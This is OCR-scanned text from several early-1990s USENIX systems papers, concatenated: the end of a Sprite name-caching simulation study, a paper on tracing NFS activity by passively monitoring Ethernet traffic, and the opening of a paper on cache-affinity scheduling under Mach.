dated when a potential invalidation occurred. The results are shown in Table 5. The results show that for whole­
directory and entry-based name caches, about 88% and 92% (respectively) of the time that an entry was modified,
no remote machine was invalidated and only the locally cached copy was updated. For the remainder of the time,
usually only one remote machine needs to be invalidated. For the attribute cache, a remote machine needed to be
invalidated about 21% of the time.

These consistency overhead measurements are similar to those found on Locus by Sheltzer et ale [SLP86].
Sheltzer found that with a 6O·directory cache, only 0.051% of the references required cache invalidation. This
invalidation rate is about a fifth of the rate we measured on our system. The probable cause is that since we have
40 machines, compared to 15 in [SLP86], we have a higher chance of requiring invalidation. Sheltzer also found
7% of invalidations resulted in more than a single invalidation, compared to our rate of 11% of whole-directory
name cache modifications affecting more than the locally cached copy.

3.8. Other results
Another concern we had with whole-directory name caching was that heavily shared and modified directories

would result in a high invalidation rate. In particular, Sprite has a single /tmp directory shared among all
machines, so we expected there would be a high rate of contention and invalidation for this directory. Table 6
shows that this is true; the whole-directory name cache has a 9.7% consistency miss rate. However, the table also
shows that the fraction of accesses to / tmp was very low, so the contention in / tmp had minimal influence on
overall name cache perfonnance. Table 6 also shows that since there was essentially no sharing of files in / tmp,
the entry-based name cache and attribute cache didn't have any consistency problems. However, these caches had
a high compulsory miss rate.
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Figure 9: Idle time of cached entries when accessed. This cumulative graph shows (on a logarithm­
ic scale) the time between accesses to cached attributes, averaged over all references that hit the cache.
For instance, the circled point shows that 78% of hits in the attribute cache were to entries previously
referenced less than 10 seconds ago. There are jumps at 15, 30, and 60 seconds due to programs that
access files periodically. Whole-directory name cache entries had the shortest inter-reference times,
followed by attributes. Entry-based name cache entries had the longest inter-reference times. The
graph shows that the majority of all references to an entry were within a second of the previous refer­
ence. This graph shows the average across all eight traces. Individual traces varied about 10% from
the average at the left and about 2% from the average at the right.

The entry-based name cache had very poor performance on accesses to / tmp; we believe that the typical
use of / tmp accounts for this. A standard sequence of operations for using a temporary file is to generate a new
filename in / tmp, stat the filename to ensure that it is unused, open the file, use the file, and remove the file. The
stat and open will result in misses if the file does not exist. The remove will result in a hit if the filename is still in
the cache after being opened. However, if there are many operations before the remove, the entry may have left the
cache, resulting in a miss. The result of this sequence of events is two misses and a hit, or three misses if the
remove reference results in a miss.

Since some name cache designs, such as NFS, use a timeout scheme to maintain consistency, an important
question is how long should entries be kept in the cache. Figure 9 shows the inter-reference time for the whole­
directory name cache, enlIy-based name cache, and attribute-based name cache. This graph shows the time since
the last reference, for references to items in the cache. For all three cache types, the majority of references to
cached entries happened no more than a second after the previous reference. This corresponds well with the
single-machine results in [FlE891, which found that half of the inter-reference times were under 1/4 second. Cache
entries no older than a minute accounted for over 90% of the cache hits. Note the effect of programs that run at
regular intervals, such as cron and xbiff: there are jwnps in the reference curves at 15, 30, and 60 seconds.
Figure 9 also shows that timing out cache entries can result in a significant loss of cache performance. For instance,
consider a whole-directory cache with a 95% hit rate. Figure 9 shows that 9% of the cache entries used are older
than 30 seconds. Thus, invalidating entries after 30 seconds would reduce the hit rate to 86%, which almost triples
the miss rate.

One final question is the effect name and attribute caching will have on the network and file server load. We
did kernel name lookup timing measurements, which show that about 20% of the time the file server spent in the
kernel was spent handling name lookups. (fhis corresponds well with the single-machine measurements in
LLKM841, which found the kernel spends 19% of its time performing name lookups.) We estimate that another
20% of the time was spent handling file opens. Given a relatively small name and attribute cache on each client, we
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could eliminate 90% of name lookups and file opens. Combining these figures, we estimate that total file server
kernel load could be reduced by 36%. Caching would also reduce network traffic. A previous study of Sprite net­
work traffic [KhL90] found that about 1/3 of Sprite remote procedure call (RPC) packets were for open, stat,
and f stat operations. Ifwe assume a 90% reduction in these packets due to name and attribute caching, we con­
clude that caching could reduce the number of RPC network packets by 30%. (However. since most of the bytes
transferred across the network result from reads and writes, the decrease in RPC network bytes from· name and
attribute caching is not as significant) Based on these rough calculations, we expect name caching would result in
a significant decrease in server load and network traffic. Earlier measurements of Sprite's performance in [NeI88],
estimated that server utilization and network utilization in Sprite could be reduced by a factor of 2 with local name
caching. However, since that estimate was an upper bound based on performance measurements on a set of bench­
marks, we believe the figures here to be more realistic.

4. Conclusions
We have presented the results of simulating name and attribute caches on clients in a distributed operating

system. This simulation used trace data we collected on a network of about 40 workstations running the Sprite
operating system..

The simulations showed several significant results. High hit rates can be obtained even with small client
caches. Very little memory is required on each client for these caches; a cache of 20 directories will likely require
only 20 to 40 kilobytes per machine. We found that caching just 10 directories resulted in a name hit rate of 91%.
The entry-based cache was less successful than the whole-directory cache, mainly because the entry-based cache
requires more misses than the whole-directory cache in order to fill it, and also because the entry-based cache can­
not handle nonexistent filenames. Attribute caching obtained a hit rate of 88% by caching 20 attributes on each
client

There are minimal problems with maintaining cache consistency. The invalidation rate for remotely cached
data is very low, indicating very little network traffic is required to maintain cache consistency. The consistency
miss rate. due to modifications on shared directories, is correspondingly low.

Process migration does not have a significant impact on cache behavior. We found that there was hardly any
difference in performance between migrated and non-migrated processes. Sharing due to migrated processes is
responsible for a large fraction of consistency invalidations.

Based on our caching data and measurements of server load, we estimate that client name and attribute cach­
ing could reduce server load by 36% and could reduce the number of remote procedure call network packets by
30%.
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ABSTRACT

Traces of filesystem activity have proven to be useful for a wide variety of purposes, rang­
ing from quantitative analysis of system behavior to trace-driven simulation of filesystem algo­
rithms. Such traces can be difficult to obtain, however, usually entailing modification of the
filesystems to be monitored and runtime overhead for the period of the trace. Largely because of
these difficulties, a surprisingly small number of filesystem traces have been conducted, and few
sample workloads are available to filesystem researchers.

This paper descnbes a portable toolkit for deriving approximate traces of NFS [I] activity
by non-intrusively monitoring the Ethernet traffic to and from the file server. The toolkit uses a
promiscuous Ethernet listener interface (such as the Packetfilter[2]) to read and reconstruct
NFS-related RPC packets intended for the server. It produces traces of the NFS activity as well
as a plausible set of corresponding client system calls. The tool is currently in use at Princeton
and other sites, and is available via anonymous flp. .

1. Motivation

Traces of real workloads fonn an important part of virtually all analysis of computer system behavior,
whether it is program hot spots, memory access patterns, or filesystem activity that is being swdied. In the case of
filesystem activity, obtaining useful traces is particularly challenging. Filesystem behavior can span long time
periods, often making it necessary to collect huge traces over weeks or even months. Modification of the filesystem
to collect ttace data is often difficult, and may result in unacceptable runtime overhead. Distributed filesystems exa­
cerbate these difficulties, especially when the network is composed of a large number of heterogeneous machines.
As a result of these difficulties, only a relatively small number of traces of Unix filesystem workloads have been
conducted, primarily in computing research environments. [3], [4] and [5] are examples of such traces.

Since distributed filesystems work by transmitting their activity over a network, it would seem reasonable to
obtain traces of such systems by placing a "tap" on the network and collecting trace data based on the network
traffic. Ethemet[6] based networks lend themselves to this approach particularly well, since traffic is broadcast to
all machines connected to a given subnetwork. A number of general-purpose network monitoring tools are avail­
able that "promiscuouslyll listen to the Ethernet to which they are connected; Sun's etherfind[7] is an example
of such a tool. While these tools are useful for observing (and collecting statistics on) specific types of packets, the
information they provide is at too Iowa level to be useful for building filesystem traces. Filesystem operations may
span several packets, and may be meaningful only in the context of other, previous operations.

Some work has been done on characterizing the impact of NFS traffic on network load. In [8], for example,
the results of a study are reported in which Ethernet traffic was monitored and statistics gathered on NFS activity.
While useful for understanding traffic patterns and developing a queueing model of NFS loads, these previous stu­
dies do not use the network traffic to analyze the file access traffic patterns of the system, focusing instead on
developing a statistical model of the individual packet sources, destinations, and types.
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This paper describes a toolkit for collecting traces of NFS file access activity by monitoring Ethernet traffic.
A Itspy" machine with a promiscuous Ethernet interface is connected to the same network as the file server. Each
NFS-related packet is analyzed and a trace is produced at an appropriate level of detail. The tool can record the low
level NFS calls themselves or an approximation of the user-level system calls (open, close, etc.) that triggered the
activity.

We partition the problem of deriving NFS activity from raw network traffic into two fairly distinct subprob­
lems: that of decoding the low-level NFS operations from the packets on the network, and that of ttanslating these
low-level commands back into user-level system calls. Hence, the toolkit consists of two basic parts, an "RPC
decoder" (rpcspy) and the "NFS analyzer" (nfstrace). rpcspy communicates with a low-level network
monitoring facility (such as Sun's NIT [9] or the Packetfilter [2]) to read and reconstruct the RPC transactions (call
and reply) that make up each NFS command. nfstrace takes the output of rpcspy and reconstructs the sys­
tem calls that occurred as well as other interesting data it can derive about the structure of the filesystem, such as the
mappings between NFS file handles and Unix file names. Since there is not a clean one-to-one mapping between
system calls and lower-level NFS commands, nfstrace uses some simple heuristics to guess a reasonable
approximation of what really occurred.

1.1. A Spy's View of the NFS Protocols

It is well beyond the scope of this paper to describe the protocols used by NFS; for a .detailed description of
how NFS works, the reader is referred to [10], [11], and [12]. What follows is a very brief overview of how NFS
activity translates into Ethernet packets.

An NFS network consists of servers, to which filesystems are physically connected, and clients, which per­
form operations on remote server filesystems as if the disks were locally connected A particular machine can be a
client or a server or both. Clients mount remote server filesystems in their local hierarchy just as they do local
filesystems; from the user's perspective, files on NFS and local filesystems are (for the most part) indistinguishable,
and can be manipulated with the usual filesystem calls.

The interface between client and server is defined in terms of 17 remote procedure call (RPC) operations.
.Remote files (and directories) are referred to by afile handle that uniquely identifies the file to the server. There are
operations to read and write bytes of a file (read, write), obtain a file's attributes (getattr), obtain the contents of
directories (lookup, readdir), create files (create), and so forth. While most of these operations are direct analogs of
Unix system calls, notably absent are open and close operations; no client state information is maintained at the
server, so there is no need to inform the server explicitly when a file is in use. Clients can maintain buffer cache
entries for NFS files, but must verify that the blocks are still valid (by checking the last write time with the getattr
operation) before using the cached data.

An RPC transaction consists of a call message (with arguments) from the client to the server and a reply mes­
sage (with return data) from the server to the client NFS RPC calls are transmitted using the UDP/IP connection­
less unreliable datagram protocol[l3]. The call message contains a unique transaction identifier which is included in
the reply message to enable the client to match the reply with its call. The data in both messages is encoded in an
"external data representation" (XDR), which provides a machine-independent standard for byte order, etc.

Note that the NFS server maintains no state information about its clients, and knows nothing about the context
of each operation outside of the arguments to the operation itself.

2. The rpcspy Program
rpcspy is the interface to the system-dependent Ethernet monitoring facility; it produces a trace of the RPC

calls issued between a given set of clients and servers. At present, there are versions of rpcspy for a number of
BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS (with NIT[9]), and the IBM RT running
AOS (with the Stanford enet filter).

For each RPC transaction monitored, rpcspy produces an ASCII record containing a timestamp, the name
of the server, the client, the length of time the command took to execute, the name of the RPC command executed,
and the command- specific arguments and return data. Currently, rpcspy understands and can decode the 17 NFS
RPC commands, and there are hooks to allow other RPC services (for example, NIS) to be added reasonably easily.
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The output may be read directly or piped into another program (such as nfstrace) for further analysis; the for­
mat is designed to be reasonably friendly to both the human reader and other programs (such as nfstrace or
awk).

Since each RPC transaction consists of two messages, a c}l1l and a reply, rpcspy waits until it receives both
these components and emits a single record for the entire transaction. The basic output fonnat is 8 vertical-bar­
separated fields:

timestamp Iexecution-time Iserver Iclient Icommand-name Iarguments Ireply-data

where timestamp is the time the reply message was received, execution-time is the time (in microseconds) that
elapsed between the call and reply, server is the name (or IP address) of the server, client is the name (or IP
address) of the client followed by the userid that issued the command, command-name is the name of the particular
program invoked (read, write, getattr, etc.), and arguments and reply-data are the command dependent arguments
and return values passed to and from the RPC program, respectively.

The exact format of the argument and reply data is dependent on the specific command issued and the level of
detail the user wants logged. For example, a typical NFS command is recorded as follows:

690529992.167140 I 11111 I paramount I merckx.321 I read I {n1b1f00000000083c", 0, 8192} 10k, 1811

In this example, uid 321 at client "merckx" issued an NFS read command to server "paramount". The reply
was issued at (Unix time) 690529992.167140 seconds; the call command occurred 11717 microseconds earlier.
Three arguments are logged for the read call: the file handle from which to read (represented as a hexadecimal
string), the offset from the beginning of the file, and the number of bytes to read. In this example, 8192 bytes are
requested starting at the beginning (byte 0) of the file whose handle is "7b1 f 00000000083c ". The command
completed successfully (status "Ok"), and 1871 bytes were returned. Of course, the reply message also included
the 1871 bytes of data from the file, but that field of the reply is not logged by rpcspy.

rpcspy has a number of configlU'8tion options to control which hosts and RPC commands are traced, which
call and reply fields are printed, which Ethernet interfaces are tapped, how long to wait for reply messages, how
long to run, etc. While its primary function is to provide input for the nfstrace program (see Section 3), judi­
cious use of these options (as well as such programs as grep, awk, etc.) permit its use as a simple NFS diag­
nostic and performance monitoring tool. A few screens of output give a surprisingly infonnative snapshot of
cwrent NFS activity; we have identified quickly using the program several problems that were otherwise difficult to
pinpoint. Similarly, a short awk script can provide a breakdown of the most active clients, servers, and hosts over a
sampled time period.

2.1. Implementation Issues

The basic function of rpcspy is to monitor the network, extract those packets containing NFS data, and
print the data in a useful format. Since each RPC transaction consists of a call and a reply, rpcspy maintains a
table of pending call packets that are removed and emitted when the matching reply arrives. In normal operation on
a reasonably fast workstation, this rarely requires more than about two megabytes of memory, even on a busy net­
work with unusually slow file servers. Should a server go down, however, the queue of pending call messages
(which are never matched with a reply) can quickly become a memory hog; the user can specify a maximum size
the table is allowed to reach before these uorphaned" calls are searched out and reclaimed.

File handles pose special problems. While all NFS file handles are a fixed size, the number of significant bits
varies from implementation to implementation; even within a vendor, two different releases of the same operating
system might use a completely different internal handle fonnal In most Unix implementations, the handle contains
a filesystem identifier and the inode number of the file; this is sometimes augmented by additional infonnation, such
as a version number. Since programs using rpcspy output generally will use the handle as a unique file identifier,
it is important that there not appear to be more than one handle for the same file. Unfortunately, it is not sufficient
to simply consider the handle as a bitstring of the maximum handle size, since many operating systems do not zero
out the unused extra 'bits before assigning the handle. Fortunately, most servers are at least consistent in the sizes of
the handles they assign. rpcspy allows the user to specify (on the command line or in a startup file) the handle
size for each host to be monitored. The handles from that server are emitted as hexadecimal strings truncated at that
length. If no size is specified, a guess is made based on a few common formats of a reasonable size.
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It is usually desirable to emit IP addresses of clients and servers as their symbolic host names. An early ver­
sion of the software simply did a nameserver lookup each time this was necessary; this quickly flooded the network
with a nameserver request for each NFS transaction. The current version maintains a cache of host names; this
requires a only a modest amount of memory for typical networks of less than a few hundred hosts. For very large
networks or those where NFS service is provided to a large number of remote hosts, this could still be a potential
problem, but as a last resort remote name resolution could be disabled or rpcspy configured to not translate IP
addresses. .

UDP/IP datagrams may be fragmented among several packets if the datagram is larger than the maximum size
of a single Ethernet frame. rpcspy looks only at the first fragment; in practice, fragmentation occurs only for the
data fields of NFS read and write transactions, which are ignored anyway.

3. nfstrace: The Filesystem Tracing Package

Although rpcspy provides a trace of the low-level NFS commands, it is not, in and of itself, sufficient for
obtaining useful filesystem traces. The low-level commands do not by themselves reveal user-level activity. Furth­
ennore, the volume of data that would need to be recorded is potentially enonnous, on the order of megabytes per
hour. More useful would be an abstraction of the user-level system calls underlying the NFS activity.

nfstrace is a filter for rpcspy that produces a log of a plausible set of user level filesystem commands
that could have triggered the monitored activity. A record is produced each time a file is opened, giving a summary
of what occurred. This summary is detailed enough for analysis or for use as input to a filesystem simulator.

The output fonnat of nfstrace consists of7 fields:

timestamp Icommand-time Idirection lfile-ill Iclient I trans/erred Isize

where timestamp is the time the open occurred, command-time is the length of time between open and close, direc­
tion is either read or write (mkdir and readdir count as write and read, respectively). file-ill identifies the
server and the file handle, client is the client and user that perfonned the open; trans/erred is the number of bytes of
the file actually read or written (cache hits have a 0 in this field), and size is the size of the file (in bytes). .

An example record might be as follows:

690691919.593442 I 17734 I read I basso: 7b1f00000000400f I frejus. 321 I 0 I 24576

Here, userid 321 at client frejus read file 7blf00000000400f on server basso. The file is 24576 bytes
long and was able to be read from the client cache. The command started at Unix time 690691919.593442 and took
17734 microseconds at the server to execute.

Since it is sometimes useful to know the name corresponding to the handle and the mode information for each
file, nfstrace optionally produCes a map of file handles to file names and modes. When enough information
(from lookup and readdir commands) is received, new names are added. Names can change over time (as files are
deleted and renamed), so the times each mapping can be considered valid is recorded as well. The mapping infor­
mation may not always be complete, however, depending on how much activity has already been observed. Also,
hard links can confuse the name mapping, and it is not always possible to determine which of several possible
names a file was opened under.

What nfstrace produces is only an approximation of the underlying user activity. Since there are no NFS
open or close commands, the program must guess when these system calls occur. It does this by taking advantage
of the observation that NFS is fairly consistent in what it does when a file is opened. If the file is in the local buffer
cache, a getattr call is made on the file to verify that it has not changed since the file was cached. Otherwise, the
actual bytes of the file are fetched as they are read by the user. (It is possible that part of the file is in the cache and
part is not, in which case the getattr is perfonned and only the missing pieces are fetched. This occurs most often
when a demand-paged executable is loaded). nfstrace assumes that any sequence of NFS read calls on the
same file issued by the same user at the same client is part of a single open for read. The close is assumed to have
taken place when the last read in the sequence completes. The end of a read sequence is detected when the same
client reads the beginning of the file again or when a timeout with no reading has elapsed. Writes are handled in a
similar manner.
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Reads that are entirely from the client cache are a bit harder; not every getattr command is caused by a cache
read, and a few cache reads take place without a getattr. A user level stat system call can sometimes trigger a
getattr, as can an Is -1 command. Fortunately, the attribute caching used by most implementations of NFS
seems to eliminate many of these exttaneous getattrs. and Is commands appear to trigger a lookup command
most of the time. nfstrace assumes that a getattr on any file that the client has read within the past few hours
represents a cache read, otherwise it is ignored. This simple heuristic seems to be fairly accurate in practice. Note
also that a getattr might not be performed if a read occurs very soon after the last read, but the time threshold is
generally short enough that this is rarely a problem. Still, the cached reads that nfstrace reports are, at best, an
estimate (generally erring on the side of over-reporting). There is no way to determine ~e number of bytes actually
read for cache hits.

The output of nfstrace is necessarily produced out of chronological order, but may be sorted easily by a
post-processor.

nfstrace has a host of options to control the level of detail of the trace, the lengths of the timeouts, and so
on. To facilitate the production of very long traces, the output can be flushed and checkpointed at a specified inter­
val, and can be automatically compressed.

4. Using rpcspyand nfstrace for FUesystem Tracing

Clearly, nfstrace is not suitable for producing highly accurate traces; cache hits are only estimated, the
timing information is imprecise, and data from lost (and duplicated) network packets are not accounted for. When
such a highly accurate trace is required, other approaches, such as modification of the client and server kernels, must
be employed.

The main virtue of the passive-monitoring approach lies in its simplicity. In [5], Baker, et al, describe a trace
of a distributed filesystem which involved low-level modification of several different operating system kernels. In
contrast, our entire filesystem trace package consists of less than 5000 lines of code written by a single programmer
in a few weeks, involves no kernel modifications, and can be installed to monitor multiple heterogeneous servers
and clients with no knowledge of even what operating systems they are running.

The most important parameter affecting the accuracy of the traces is the ability of the machine on which
rpcspy is running to keep up with the network traffic. Although most modem RISC workstations with reasonable
Ethernet interfaces are able to keep up with typical network loads, it is important to determine how much informa­
tion was lost due to packet buffer overruns before relying upon die trace data. It is also important that the trace be,
indeed, non-intrusive. It quickly became obvious, for example, that logging the traffic to an NFS filesystem can be
problematic.

Another parameter affecting the usefulness of the traces is the validity of the heuristics used to ttanslate from
RPC calls into user-level system calls. To test this, a shell script was written that performed Is -1, touch,
cp and wc commands randomly in a small directory hierarchy, keeping a record of which files were touched and
read and at what time. Mter several hours, nfstrace was able to detect 100% of the writes, 100% of the
uncached reads, and 99.4% of the cached reads. Cached reads were over-reported by 11%, even though 1s com­
mands (which cause the "phantom" reads) made up 50% of the test activity. While this test provides encouraging
evidence of the accuracy of the traces, it is not by itself conclusive, since the particular workload being monitored
may fool nfstrace in unanticipated ways.

As in any research where data are collected about the behavior of human subjects, the privacy of the individu­
als observed is a concern. Although the contents of files are not logged by the toolkit, it is still possible to learn
something about individual users from examining what files they read and write. At a minimum, the users of a mon­
itored system should be informed of the nature of the trace and the uses to which it will be put. In some cases, it
may be necessary to disable the name ttanslation from nfstrace when the data are being provided to others.
Commercial sites where filenames might reveal something about proprietary projects can be particularly sensitive to
such concerns.

USENIX - Winter '92 337



NFS Tracing By Passive Network ... Blaze

5. A Trace or FUesystem Activity in the Princeton CoS. Department

A previous paper[l4] analyzed a fiv~day long trace offilesystem activity conducted on 112 research worksta­
tions at DEC-SRC. The paper identified a number of file access properties that affect filesystem caching perfor­
mance; it is difficult, however, to know whether these properties were unique artifacts of that particular environment
or are more generally applicable. To help answer that question, it is necessary to look at similar traces from other
computing environments.

It was relatively easy to use rpcspyand nfstrace to conduct a week long trace of filesystem activity in
the Princeton University Computer Science Department The departmental computing facility serves a community
of approximately 250 users, of which about 65% are researchers (faculty, graduate students, undergraduate
researchers, postdoctoral staff, etc), 5% office staff, 2% systems staff, and the rest guests and other "externaltt users.
About 115 of the users work full-time in the building and use the system heavily for electronic mail, netnews, and
other such communication services as well as other computer science research oriented tasks (editing, compiling,
and executing programs, formatting documents, etc).

The computing facility consists of a central Auspex file server (fs) (to which users do not ordinarily log in
directly), four DEC 5000/2oos (elan, hart, atomic and dynamic) used as shared cycle servers, and an
assorunent of dedicated workstations (NeXT machines, Sun workstations, mM-RTs, Iris workstations, etc.) in indi­
vidual offices and laboratories. Most users log in to one of the four cycle servers via X window terminals located in
offices; the terminals are divided evenly among the four servers. There are a number of Ethernets throughout the
building. The central file server is connected to a "machine room network" to which no user terminals are directly
connected; traffic to the file server from outside the machine room is gatewayed via a Cisco router. Each of the four
cycle servers has a local /, /bin and /tmp filesystem; other filesystems, including /usr, /usr/local,
and users' home directories are NFS mounted from fs. Mail sent from local machines is delivered locally to the
(shared) fs: /usr / spool/mail; mail from outside is delivered directly on fs.

The trace was conducted by connecting a dedicated DEC 5000/200 with a local disk to the machine room net­
work. This network carries NFS traffic for all home directory access and access to all non-local cycle-server files
(including the most of the actively-used programs). On a typical weekday, about 8 million packets are transmitted
over this network. nfstrace was configured to record opens for read and write (but not directory accesses or
individual reads or writes). After one week. (wednesday to wednesday), 342,530 opens for read and 125,542 opens
for write were recorded, occupying 8 MB of (compressed) disk space. Most of this traffic was from the four cycle
servers.

No attempt was made to "normalize" the workload during the trace period. Although users were notified that
file accesses were being recorded, and provided an opportunity to ask to be excluded from the data collection, most
users seemed to simply continue with their normal work. Similarly, no correction is made for any anomalous user
activity that may have occurred during the trace.

5.1. The Workload Over Time

Intuitively, the volume of traffic can be expected to vary with the time of day. Figure 1 shows the number of
reads and writes per hour over the seven days of the trace; in particular, the volume of write traffic seems to mirror
the general level of deparunental activity fairly closely.

An important metric of NFS performance is the client buffer cache hit rate. Each of the four cycle servers
allocates approximately 6MB of memory for the buffer cache. The (estimated) aggregate hit rate (percentage of
reads served by client caches) as seen at the file server was surprisingly low: 22.2% over the entire week. In any
given hour, the hit rate never exceeded 40%. Figure 2 plots (actual) server reads and (estimated) cache hits per hour
over the nace week; observe that the hit rate is at its worst during periods of the heaviest read activity.

Past studies have predicted much higher hit rates than the aggregate observed here. It is probable that since
most of the traffic is generated by the shared cycle servers, the low hit rate can be attributed to the large number of
users competing for cache space. In fact, the hit rate was observed to be much higher on the single-user worksta­
tions monitored in the study, averaging above 52% overall. This suggests, somewhat counter-intuitively, that if
more computers were added to the network (such that each user had a private workstation), the server load would
decrease considerably. Figure 3 shows the actual cache misses and estimated cache hits for a typical private works­
tation in the study.
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Figure 1 • Read and Write Traffic Over Time

5.2. File Sharing

One property observed in the DEC-SRC trace is the tendency of files that are used by multiple workstations to
make up a significant proportion of read traffic but a very small proportion of write traffic. This has important
implications for a caching strategy, since, when it is hUe, files that are cached at many places very rarely need to be
invalidated. Although the Princeton computing facility does not have a single workstation per user, a similar metric
is the degree to which files read by more than one user are read and written. In this respect, the Princeton trace is
very similar to the DEC-SRC trace. Files read by more than one user make up more than 60% of read traffic, but
less than 2% of write traffic. Files shared by more than ten users make up less than .2% of write traffic but still
more than 30% of read traffic. Figure 3 plots the number of users who have previously read each file against the
number of reads and writes.

5.3. File"Entropy"

Files in the DEC-SRC trace demonstrated a strong tendency to "become" read-only as they were read more
and more often. That is, the probability that the next operation on a given file will overwrite the file drops off shar­
ply in proportion to the number of times it has been read in the past. Like the sharing property, this has implications
for a caching strategy, since the probability that cached data is valid influences the choice of a validation scheme.
Again, we find this property to be very strong in the Princeton ttaee. For any file access in the trace, the probability
that it is a write is about 27%. If the file has already been read at least once since it was last written to, the write
probability drops to 10%. Once the file has been read at least five times, the write probability drops below 1%. Fig­
ure 4 plots the observed write probability against the number of reads since the last write.
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6. Conclusions

Although filesystem traces are a useful tool for the analysis of clUTent and proposed systems, the difficulty of
collecting meaningful trace data makes such traces difficult to obtain. The performance degradation introduced by
the ttaee software and the volume ofraw data generated makes traces over long time periods and outside of comput­
ing research facilities particularly hard to conduct.

Although not as accurate as direct, kernel-based tracing, a passive network monitor such as the one described
in this paper can permit tracing of distributed systems relatively easily. The ability to limit the data collected to a
high-level log of only the data required can make it practical to conduct ttaees over several months. Such a long­
teno trace is presently being conducted at Princeton as part of the author's research on filesystem caching. The
non-intrusive nature of the data collection makes ttaces possible at facilities where kernel modification is impracti­
cal or unacceptable.

It is the author's hope that other sites (particularly those not doing computing research) will make use of this
toolkit and will make the traces available to filesystem researchers.

7. Avallability

The toolkit, consisting of rpcspy, nfstrace, and several support scripts, currently runs under several
BSD-derived platforms, including ULTRIX 4.x, SunOS 4.x, and mM-RT/AOS. It is available for anonymous ftp
over the Internet from samadams . princeton. edu, in the compressed tar file
nfstrace/nfstrace.tar.Z.
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Issues in Implementation of Cache-Affinity Scheduling

Murthy Devarakonda A rup Mukherjee

IBM Thomas J. Watson Research Center

Abstract In a shared memory multiprocessor, a thread may have an affinity to a processor
because of the data remaining in the processor's cache from a previous dispatch. We show
that two basic problems should be addressed in a Unix-like system to exploit cache affinity for
improved performance: First, the limitation of the Unix dispatcher model ("processor seeking a
thread"); Second, pseudo-affinity caused by low-cost waiting techniques used in a threads package
such as C Threads. We demonstrate that the affinity scheduling is most effective when used in
a threads package that supports multiplexing of user threads on kernel threads.

1 Introduction

In a shared memory multiprocessor, a thread may have an affinity to a processor because of the data and
instructions remaining in the processor's cache from a previous dispatch of the thread. Increasing cache
sizes and a growing disparity between the access times of cache and main memories make it an attractive
optimization opportunity.

While the modeling study of [Squillante90] has shown potential performance gain from using such cache
affinity, the simulated-environment based study of [Gupta91] has shown only small gains. A more recent
(concurrent) study [Vaswani91] has concluded that the kernel-level affinity scheduling has a negligible effect
for multiprogranuned, multi-threaded applications.

Regardless of previous claims, it is easy to see that only a certain class of parallel programs can
benefit from affinity scheduling: programs consisting of long living, frequently synchronizing threads that
repeatedly access a large amount of memory. In such programs the frequent synchronization increases the
scheduling frequency, and the repeated memory accesses create a strong affinity between some threads and
processors. Given this intuitive characterization, an evaluation using wide-ranging real applications would
seem like the next step in understanding the benefits of affinity scheduling. However here we show that
even more fundamental issues must be addressed first - issues concerning where and how a cache-affinity
scheme should be implemented in a Unix-like system so that an application that has the potential to benefit
from cache-affinity scheduling can indeed do so. Without this insight a study focusing on performance of
affinity scheduling can end inconclusively. Exposing and resolving these issues is, therefore, the main focus
of this paper.

We present and discuss these issues through a description of our experiences in implementing affinity
scheduling on an Encore Multimax running Mach 2.5. (We used the thread primitives of the C Threads
package [Cooper87].) First, we implemented a simple yet effective affinity scheme in the Mach kernel. Since
our goal was to determine whether we could achieve performance gain given the most suitable application,
we used a synthetic program representing such an application as the initial benchmark - later we also
used two real applications. Our approach was to find and eliminate factors that prevented exploitation of
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cache affinity intrinsic in the synthetic test program. After several iterations, the following two problems
remained: First, the limitation of the Unix dispatcher model, which can be described as an idle processor
seeking a thread to runj sometimes it was necessary for a thread to seek an idle, affinity processor instead.
Second, the low cost locking methods used in implementing synchronization primitives (in the threads
package) created a pseudo-affinity between threads and processors, and it was difficult to distinguish this
pseudo-affinity from the true affinity. These two factors reduced or even eliminated affinity scheduling
opportunities even for an ideally suited application.

Instead of changing the kernel dispatching model and developing complex schemes to avoid pseudo­
affinity, we found an easier solution. We made extensive changes to the C Threads package to provide a
general m-to-n multiplexing of user threads onto kernel threads, and we then implemented cache-affinity
scheduling in the package. l In the new threads package dispatching implies attaching a user thread to a
kernel thread, and blocking implies detaching. This solution is clearly superior to changing the kernel since
such a threads package can provide several other benefits such as a mechanism for allocating processors in
a multiprogrammed environment [Tucker89], a large number of user threads [Golub90], and light-weight
threads [PoweIl91].

We also made measurements using two real parallel applications: A thinning program for digital pat­
terns, and a parallel merge sort program. For the thinning program, the use of multiplexed threads reduced
the running time by 20% to 36% depending on the input size, and then the use of affinity in the threads
package reduced the running time further by about· 12%. Affinity provided little improvement for the
sorting program since its characteristics are unsuited for affinity scheduling. Implications of these results
are discussed later.

The next section briefly reviews the related work. Sections 3 and 4 describe and discuss kernel and
user-level affinity implementations respectively. Section 5 presents results for the real applications. Finally
section 6 concludes the paper.

2 Related Work

In [Squillante90], several affinity scheduling algorithms have been proposed, and the algorithms have been
evaluated using queueing models. One of the two simple schemes implemented in our user-level threads
package, the FCFS Affinity, is quite similar to the Last Processor scheme of [Squillante90]. Our measure­
ments show that even a simple scheme can produce significant benefit given a suitable application and
proper implementation strategy.

Two other studies have considered cache affinity. [Gupta91] describes experiments using an affinity
scheme derived from the Minimum Intervening method of [Squillante90] in a simulated multiprocessor
environment. The study reports a small positive effect on performance for a benchmark suite. Three
factors limit generalization of results from this study: suitability of the benchmarks for affinity scheduling,
small cache size, and the simulated environment.

Using a mix of measurements on a test-bed and modeling, [Vaswani91] studied the conflict between
space-sharing (dividing processors among parallel programs) and affinity-scheduling policies in a shared
memory multiprocessor. The study concluded that affinity scheduling has negligible effects on performance
for the current hardware. Since they used kernel-level affinity scheduling the conclusions lend support to
our findings that the kernel may not be the proper place for affinity scheduling.

1Note that the original C Threads package supported either all-t~one (i.e., the coroutine version) or one-t~one (i.e., the
threads version) mapping between user and kernel threads.
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BEGIN <sequential code>
Allocate n distinct C Cfootprints" of size s;

Reference all pages in all footprints,
so that physical memory is assigned.

END <sequential code>

BEGIN <parallel code, n threads>
REPEAT i times

Reference a byte in every doub1evord of
this thread's footprint;

Wait for barrier synchronization.
END <repeat loop>

END <parallel code>

Print out time spent in parallel section.

Figure 3.0. The synthetic benchmark program.

Issues in Implementation of •••

Several papers have described the use and implementation of multiplexed threads packages: [Tucker89]
for efficient scheduling of multiprogrammed, multi-threaded programs; [Golub90] to provide a large number
of threads per application; [Powe1l91] for controlling concurrency and for light-weight. Here we use the
multiplexed user threads for successful exploitation of affinity.

3 Kernel-level implementation

This section provides a detailed description of our experiences in implementing cache affinity at the kernel­
level. We start with a brief description of the system used in all our experiments and the synthetic
benchmark employed in this and next sections.

3.1 The system and the benchmark

